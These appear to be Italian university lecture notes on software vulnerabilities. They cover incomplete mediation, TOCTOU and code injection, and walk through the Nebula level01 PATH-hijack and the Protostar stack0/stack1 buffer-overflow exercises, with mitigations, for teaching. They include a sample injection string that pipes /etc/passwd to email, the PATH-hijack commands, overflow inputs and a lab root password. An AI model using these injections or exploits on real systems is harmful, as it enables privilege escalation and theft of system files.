# Vulnerabilità applicazioni

Alcune classi di errori che affliggono molto del software esistente:

* Mediazione incompleta
* Tempo di controllo/tempo di utilizzo
* Code injection
* ...

Principale vulnerabilità: **Validazione dell'input mancante o incompleta**

Mediazione incompleta

Vi sono dati sensibili sui quali vengono effettuate operazioni critiche (es: per sicurezza o per la logica dell’applicazione).

I dati sono in condizione esposta, non controllata: dati modificabili dall’utente non sono controllati.

Esempio: applicazione web

[http://www.ecommerce.com/applicazioni/inpututente?param1=00 0203356155&m2=2022Sep20](http://www.ecommerce.com/applicazioni/inpututente?param1=00 0203356155¶m2=2022Sep20)

Parametri passati al server mediante richieste GET e query string:

* Parametro 1: numero identificativo dell'utente
* Parametro 2: una data

Cosa succederebbe inserendo nel parametro 2 qualcosa tipo: 1800Jan01, 2022Feb30, 2022Ord66?

Errore di sistema perché qualche applicativo si troverebbe a gestire una data o un mese inesistenteo non significativo.

### Time of Check to Time of Use

Tipico scenario che causa problemi di sicurezza:

una operazione sensibile può essere effettuata solo se una certa condizione è vera e la verifica della condizione avviene prima dell'esecuzione dell'operazione. La condizione diventa falsa dopo la verifica, ma prima dell'esecuzione dell'operazione.

Esempio: applicazione web

Sito wikipedia-like: gli utenti possono modificare pagine web e gli amministratori possono modificare e bloccare pagine web. Se un utente vuole modificare una pagina web e la pagina non è bloccata, ovvero l'applicazione Web consente la modifica all'utente, se un amministratore blocca la pagina dopo che l'autorizzazione è stata concessa, ma prima che l'utente abbia modificato la pagina, l'utente è stato in grado di modificare nonostante il blocco, sfruttando l'autorizzazione ottenuta in precedenza.

### Code Injection

Tecnica per "iniettare" codice malevolo in una applicazione sfruttando vulnerabilità e mancato controllo dell'input allo scopo di:

* Acquisire informazioni
* Web defacement
* Privilege escalation to root
* Installazione di malware
* Furto di sessioni o cookies web browser
* ...

**Esempio**

Applicazione web "guestbook" che accetta brevi messaggi dagli utenti. Ciascun messaggio è salvato su un file che viene "letto" (interpretato) dal server.

Cosa succede se un attacker inserisce: ; **cat /etc/passwd | email dario.stabili@unimore.it #**

# Local Injection

#### Nebula VM

La macchina virtuale Nebula contiene esercizi di sicurezza basilari.

Nebula è strutturata come una challenge:

* Venti esercizi totali (Level01, … Level19)
* In ogni livello è dichiarato un obiettivo non banale che l'utente deve cercare di ottenere

Giocatori. Un utente che intende partecipare alla sfida si autentica con le credenziali del livello (**levelN**, username e password uguali)

Vittime. Gli account **flagN** di cui non si hanno le credenziali di accesso (ovviamente) contengono vulnerabilità di vario tipo. Simulano la vittima in questione

Amministratore. Un utente ha impostata l'elevazione manuale dei privilegi a **root** tramite il comando **sudo.**

Dopo l'autenticazione, l'utente **levelN** usa le informazioni contenute nella directory dell'utente **flagN** (**/home/flagN**) per conseguire uno specifico obiettivo:

* Eseguire programmi con privilegi elevati
* Ottenere informazioni sensibili
* ...

“There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?”<https://exploit.education/nebula/level-01/>

**Nebula01**

Obiettivo della sfida: eseguire il comando **/bin/getflag** con i privilegi dell'utente **flag01.**

1. Possiamo fare login direttamente come flag01 ed eseguire il binario? Serve una password, che non abbiamo. Due casi:
   1. la chiediamo al legittimo proprietario (che non ce la darà mai)
   2. la forziamo

Come procedere?

L'utente **level01** può accedere solamente alle directory:

* **/home/level01**
* **/home/flag01**

All’interno di **/home/flag01** è presente l’eseguibile **flag01** (utente: *flag01,* gruppo: *level01*)con SETUID settato:

* è eseguibile e permette di ottenere i privilegi di **flag01**
* è eseguibile dagli utenti del gruppo **level01**.

Idea: provocare indirettamente (**iniettare**) l'esecuzione del binario **/bin/getflag**,sfruttando il binario **/home/flag01/flag01**

Conseguenza: **/bin/getflag** è eseguito come utente **flag01**

Come fare?

Come si inietta **/bin/getflag** in **/home/flag01/flag01**?

Il programma **level1.c** svolge le seguenti operazioni:

1. Imposta tutti gli user ID al valore effettivo (elevazione dell'utente a **flag01**)
2. Imposta tutti i group ID al valore effettivo (elevazione del gruppo a **level01**)
3. Esegue un comando. La funzione di libreria **system()** esegue un comando di shell, passato come argomento

Dalla sezione NOTES di **system()**:

"Do not use system() from a program with set-user-ID or set-groupID privileges, because strange values for some environment variables might be used to subvert system integrity. […]"

MAI eseguire **system()** con il SETUID bit acceso, poiché giocando con le variabili di ambiente si può violare la sicurezza del programma.

Nell'esempio level1.c, system() esegue il comando: **/usr/bin/env echo and now what?**

1. Il comando **env** esegue un programma in un ambiente specifico
2. Il comando **echo** è presente sia come interno (builtin) di BASH, sia come comando esterno. Il comando echo stampa i suoi argomentisu STDOUT.
3. Esegue il comando esterno **/usr/bin/env**, che stampa su terminale la stringa “*and now what?*”

Domanda: è possibile iniettare qualcosa al posto di **/usr/bin/echo**? Ad esempio, **bin/getflag**?

Soluzione: L'unica possibilità rimasta per fare injection di */bin/getflag* è quella di modificare in modo consono l'ambiente di shell ereditato dal */home/flag01/flag01*.

The variable environ points to an array of pointers to strings called the "environment".

**PATH:** The sequence of directory prefixes that sh(1) and many other programs apply in searching for a file known by an incomplete pathname. The prefixes are separated by “ : “

Idea: copiamo il binario **/bin/getflag** nella directory **/tmp** (perché leggibile e scrivibile da tutti) e la chiamiamo “**echo”**, dopo alteriamo il percorso di ricerca in modo da anticipare **/tmp** a **/usr/bin.**

1. **cp /bin/getflag /tmp/echo**
2. **PATH=/tmp:$PATH**

Dopo le modifiche si lancia il programma **/home/flag01/flag01**:

* **env** prova a caricare il file eseguibile **echo**;
* **echo** non ha percorso, pertanto **sh** usa i percorsi di ricerca per individuare un percorso assoluto
* sh individua **/tmp/echo** come primo candidato all'esecuzione e lo esegue con i privilegi di **flag01**

Mitigazione 1: ***se l'eseguibile necessita di bit SETUID***

Obiettivo: spegnere il bit SETUID sul file eseguibile **/home/flag01/flag01**

Soluzione:

* Autenticarsi come utente **nebula** e poi ottenere una shell di **root** tramite **sudo –i**
* **chmod u-s /home/flag01/flag01**

Risultato: “getflag is executing on a non-flag account, this doesn't count”

Mitigazione 2: ***rilascio temporaneo***

Obiettivo: se non è possibile spegnere il bit SETUID è opportuno imparare a gestire al meglio i privilegi all'interno del codice. Nel caso di **level1.c**, vuol dire rilasciare i privilegi prima di system().

Soluzione:

**~~uid = geteuid();~~** **uid = getuid();**

**~~setresuid(uid, uid, uid);~~ setresuid(-1, uid, -1);**

**system("/usr/bin/env echo and now what?");**

* Compilazione di level1-drop.c con:
  + **gcc –o flag01-drop level1-drop.c**
* Impostazione dei privilegi corretti**:** 
  + **chown flag01:level01 /home/flag01/flag01-drop**
  + **chmod 4750 /home/flag01/flag01-drop**
* Test: “getflag is executing on a non-flag account, this doesn't count”

Mitigazione 3: Impostazione sicura di PATH prima di system()

Si parta dal sorgente **level1.c** e lo si modifichi in modo da impostare in maniera sicura la variabile di ambiente **PATH** prima di eseguire **system()**

Idea: la funzione di libreria **putenv()** modifica una variabile di ambiente già impostata**:**

* **putenv("PATH=/bin:/sbin:/usr/bin:/usr/sbin")**

# *Buffer overflow*

#### Protostar VM

La macchina virtuale Protostar contiene esercizi di sicurezza legati alla corruzione della memoria.

Protostar è strutturata come una challenge, suddivisa per temi (in totale, 24 sfide):

* Stack-based buffer overflow
* Format string
* Heap-based buffer overflow
* Newtork byte ordering

Giocatori: un utente che intende partecipare alla sfida si autentica con le credenziali univoche **user:user** per tutte le sfide

Amministratore: si usa l'utente **root** (pwd: **godmode**)

Dopo l'autenticazione, l'utente user usa le informazioni contenute nella directory **/opt/protostar/bin** per conseguire uno specifico obiettivo.

Stack00

"This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution."

Obiettivo: cambiare il valore della variabile **modified** a tempo di esecuzione.

Prime cose da fare: raccogliere informazioni sul sistema:

* ArchitetturaHW (32/64 bit, Intel, AMD, altro, ...)
* Sistema operativo(GNU/Linux, Windows, …)
* Metodi di input (locale, remoto,…)

Il comando **lsb\_release –a** fornisce informazioni sul sistema operativo in esecuzione.

Il comando **arch** forrnisce informazioni sull'architettura.

Il comando **cat /proc/cpuinfo** fornisce informazioni sui processori installati

Analizziamo il codice di **stack0.c** (<https://exploit.education/protostar/stack-zero/>)

* Il programma stampa un messaggio di conferma se la variabile **modified** è diversa da zero
* si dovrebbe notare un interessante particolare: **buffer[64]** e **modified** sono vicine spazialmente. Saranno anche vicine in memoria centrale?

Se le due variabili sono continue anche in memoria, dovremmo riuscire a sfruttare la loro vicinanza per sovrascrivere la variabile **modified** sfruttando la sua vicinanza con la variabile **buffer**

Ipotesi 1: gets(buffer) deve permettere l'input di una stringa più lunga di 64 byte:

* dalla documentazione la funzione **gets()** permette input più grandi di 64 byte.

Ipotesi 2: **buffer** deve essere allocata in memoria ad un indirizzo più piccolo di **modified.**

* **apropos –s1 memory layout** 
  + il comando **pmap** stampa il layout di memoria di un processo in esecuzione. L'output di pmap mostra:
    - aree codice (permessi **r-x**)
    - aree dati costanti (permessi **r--**)
    - aree dati (permessi **rw-**)
    - stack (permessi **rw-**, nome **[ stack ]**)
  + il comando **pmap** non stampa però in quale area sono piazzati **buffer** e **modified**

Lo **stack** è organizzato per record di attivazione, in gergo chiamati "**frame**". Lo stack cresce verso gli indirizzi bassi ed è accessibile tramite il registro **Extended Base Pointer** (**EBP**) qualora utilizzato dal compilatore**.**

La variabile **buffer** dovrebbe essere ad un indirizzo più basso della variabile **modified**:

* le variabili definite per ultime stanno in cima allo stack
* lo stack cresce verso gli indirizzi bassi
  + - Le variabili definite per ultime hanno indirizzi più bassi

Si provi l’attacco:

* **/opt/protostar/bin/stack0** (esegui il programma)
* **aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa** (input)
* “*you have changed the 'modified' variable”*

#### Stack01

"This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory."

Obiettivo: impostare **modified =** **0x61626364** a tempo di esecuzione**.**

Informazioni sul programma:

* **stack1** accetta input localmente, tramite il suo primo parametro **argv[1]**
* L'input è una generica stringa.

Procedimento:

* Costruiamo l'input di 64 'a' > Riempiamo **buffer**
* Appendiamo i quattro caratteri aventi codice **ASCII 0x61**(‘a’), **0x62** (‘b’), **0x63**(‘c’), **0x64**(‘d’)> si riempie **modified**

Il possibile input potrebbe essere:

* **./stack1 $(python - "print 'a'\*64 + 'abcd' ").**
* *“Try again, you got 0x64636261”*

L'input, seppur inserito in ordine rispetto al codice del programma, viene al rovescio nell'output del programma

* Input: 0x61626364 ('abcd')
* Output: 0x64636261 ('dcba')

Questo perchè è il processore ad organizzare in memoria il numero intero del formato strano appena visto. L'architettura Intel è **Little Endian**: il bit meno significativo di una parola è salvato al primo byte puntato dall'indirizzo della parola stessa.

Di conseguenza, la parola **0x61626364** immessa tramite i quattro caratteri '**abcd**' è organizzata con il byte meno significativo per primo: **0x64636261**, corrispondente alla stringa '**dcba**'.

Il comando corretto è:

* **./stack1 $(python - "print 'a'\*64 + 'dcba' ").**
* **“**you have correctly got the variable to the right value**”**